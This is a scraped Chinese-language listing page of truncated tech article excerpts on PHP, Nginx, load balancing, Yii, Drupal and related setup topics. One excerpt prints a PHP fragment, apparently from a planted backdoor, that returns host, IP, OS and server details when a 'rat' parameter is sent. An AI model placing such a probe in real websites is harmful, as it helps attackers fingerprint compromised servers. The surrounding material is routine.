Time of Update: 2016-08-08
首先在function.php中定義一個函數://關鍵字描紅function keywords_red($string,$keywords=''){ if(empty($keywords)||empty($string)) return $string; return
Time of Update: 2016-08-08
PS:Nginx/LVS/HAProxy是目前使用最廣泛的三種負載平衡軟體,本人都在多重專案中實施過,參考了一些資料,結合自己的一些使用經驗,總結一下。一般對負載平衡的使用是隨著網站規模的提升根據不同的階段來使用不同的技術。具體的應用需求還得具體分析,如果是中小型的Web應用,比如日PV小於1000萬,用Nginx就完全可以了;如果機器不少,可以用DNS輪詢,LVS所耗費的機器還是比較多的;大型網站或重要的服務,且伺服器比較多時,可以考慮用LVS。一種是通過硬體來進行進行,常見的硬體有比較昂貴的
Time of Update: 2016-08-08
這是表單代碼:;這是upload.php代碼: 0) { echo '上傳錯誤:'; switch($_FILES['myfile']['error']){ case 1: die('上傳大小超過了限定值:upload_max_filesize'); case 2: die('上傳大小超過了表單中的約定值:MAX_FILE_SIZE'); case 3: die('檔案只有部分上傳!&
Time of Update: 2016-08-08
更新源:apt-get update升級軟體:apt-get upgrade更新系統:apt-get dist-upgradeapt-get install opensslapt-get install libssl-devyum -y install openssl openssl-develgroupadd www-datauseradd -g www-data www-data以上亂扯可能會用到下載 zlib pcre openssl./configure
Time of Update: 2016-08-08
安裝Nginx的方式有很多種,這裡我們還是編譯原始碼進行安裝,使用下列命令:如果安裝過程中出現一下錯誤:則需要先安裝PCRE:安裝完成後,Nginx安裝目錄在 / usr / local / nginx 。接下來修改nginx的設定檔(/usr/local/nginx/conf/nginx.conf),使其能夠處理PHP指令碼:最後,啟動Nginx時,需要先啟動PHP-FPM。對於Nginx的重啟以及關閉操作,可以使用以下命令:而PHP-FPM則比較麻煩點,需要先使用ps -ef | grep
Time of Update: 2016-08-08
Yii架構自動產生的Web應用骨架的目錄裡面有連個腳步檔案,yiic和yiic.bat。yiic是Unix/Linux平台用的,yiic.bat是windows平台用的。如果要查看指令碼的協助可以進入到腳步所在的根目錄,然後執行yiic help,他會列出所有可用的命令,裡麵包括Yii提供的系統命令和使用者自訂的命令。如果要知道如何執行一個命令可以執行以下命令:1yiic help如果要執行一個命令,可以使用如下格式:1yiic
Time of Update: 2016-08-08
ActiveReocrd 模式這種模式最大的特別就是簡化了CURD 的操作,並且採用對象化的操作方式,便於使用和理解。//添加一條資料$user = M('User');$user->user = '火影忍者';$user->email = 'huoyin@qq.com';$user->date = date('Y-m-d H:i:s');$user->add();//結合create$user = M('User');$user->create();$user->date = date('Y-
Time of Update: 2016-08-08
安裝好httpd、mariadb和php,啟動httpd和mariadb,建立一個UTF-8字元集的資料庫。在Drupal官網下載Drupal core和Drupal translations這2個檔案:drupal-7.34.tar.gz、drupal-7.34.zh-hans.po。tar xzvf drupal-7.34.tar.gzcd drupal-7.34拷貝所有檔案到web目錄,包括2個隱藏檔案。cp -R * /var/www/htmlcp .gitignore
Time of Update: 2016-08-08
在CentOS linux 正常配置 tomcat7啟動tomcat7,訪問地址為:192.168.1.207:8080192.168.1.208:8080下載nginx 相關版本,地址如下:http://nginx.org/en/download.html,個人使用的是nginx-1.6.2.tar.gz將nginx 安裝檔案上傳至linux 伺服器。執行命令進行解壓:tar -zxvf nginx-1.6.2.tar.gz安裝nginx必須的相關包命令:yum install -y
Time of Update: 2016-08-08
由於JSON可以在很多種程式語言中使用,所以我們可以用來做小型資料中轉,如:PHP輸出JSON字串供JavaScript使用等。在PHP中可以使用 json_decode() 由一串規範的字串解析出 JSON對象,使用 json_encode() 由JSON 對象產生一串規範的字串。例:$json = '{"a":1, "b":2, "c":3, "d":4, "e":5
Time of Update: 2016-08-08
一,nginx反向 Proxy配置 #tomcatJava代碼 upstream tomcat_server{ server 127.0.0.1:8080; } erver{ listen 80; server_name www.codes51.com; location / { proxy_redirect off; proxy_set_header Host $host;
Time of Update: 2016-08-08
window7 下 安裝 apache24(httpd-2.4.10-x86-r2)加 php5.6(php-5.6.4-Win32-VC11-x86)加yaf(php_yaf-2.3.3-5.6-ts-vc11-x86)整合下載httpd-2.4.10-x86-r2.zip| php-5.6.4-Win32-VC11-x86.zip |php_yaf-2.3.3-5.6-ts-vc11-x86.zip下載地址: httpd-2.4.10-x86-r2.zip
Time of Update: 2016-08-08
引言pack、unpack函數,如果沒有接觸過socket,這個可能會比較陌生,這兩個函數在socket互動的作用是組包,將資料裝進一個二進位字串,和對二進位字串中的資料進行解包,這個裡面有好多種格式,具體的格式可以去查查官方的手冊(或者等看完本篇文章之後,去調用介面查看),我這裡主要用了pack(“N”,int),pack(“a”,str)以及他們兩個對應的解包函數,N在手冊中的解釋是下面這個,佔4個位元組,大端方式(其實就是低位在前還是在後的問
Time of Update: 2016-08-08
原創文章,轉載請註明: 轉載自pagefault本文連結地址: nginx對keepalive和pipeline請求處理分析這次主要來看nginx中對keepalive和pipeline的處理,這裡概念就不用介紹了。直接來看nginx是如何來做的。首先來看keepalive的處理。我們知道http 1.1中keepalive是預設的,除非用戶端顯式的指定connect頭為close。下面就是nginx判斷是否需要keepalive的代碼。12345678910111213141516171819
Time of Update: 2016-08-08
因為微博程式中用戶端與伺服器端的資料傳遞有時會耗時很長,所以採用多進程非同步處理,就是介面UI與資料的發送接收不在一個進程裡。每次資料轉送的時候會開一個新的線程。 BaseTask就是這個記錄非同步任務屬性的類package com.app.demos.base;public class BaseTask {public static final int TASK_COMPLETE = 0; //任務完成public static final int NETWORK_ERROR = 1
Time of Update: 2016-08-08
第一個php程式 echo \"Hello PHP\";?>運行此程式會在瀏覽器顯示字串“Hello PHP”小做解釋一下:(1) php的檔案結構 在此編寫php代碼 ?>(2)echo 就是一個輸出函數,每個php語句的結束標誌是“;”分號,和大多數語言一樣。(3)php 的簡單注釋 // 是簡單的注釋單行/** */ 注釋一段千萬不要嵌套注釋,這樣會出現錯誤的。
Time of Update: 2016-08-08
0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo
Time of Update: 2016-08-08
準備工具一般來說,在windows上配置開發環境是一個很艱苦的事情。而vagrant的出現則是我們開發人員的一個福利。大大的減輕了我們的配置的複雜新,但是雖然有所減輕,但還是要動手配一些的。話不多說,下面開始進入正題,首先來說下需要一些什麼: 1. windows已經裝好了git,如果沒裝,點這裡 2. 需要安裝好php(只需要php,其他的都不需要,並且在php.ini裡面開啟openssl擴充)。 3. 然後需要composer和vagrant 和 virtualbox
Time of Update: 2016-08-08
在ubuntu機器上部署php測試環境一、部署環境Ubuntu11.10_X86_32,編譯安裝相應的軟體:nginx+mysql+php。二、軟體安裝2.1 軟體下載libiconv-1.14.tar.gzlibmcrypt-2.5.7.tar.gzmcrypt-2.6.8.gzmhash-0.9.9.9.tar.gzmysql-5.5.39.tar.gznginx-1.1.10.tar.gzpcre-8.20.tar.gzphp-5.4.34.tar.gz2.2
Time of Update: 2016-08-08
Echarts ?關於 Echarts 請移步這裡force 力導向圖實現方式,如:function require_EC () {require( [ 'echarts', //載入force模組 'echarts/chart/kforce' ], function (ec) { //確定需要繪製的DOM setChats(ec); })}function setChats (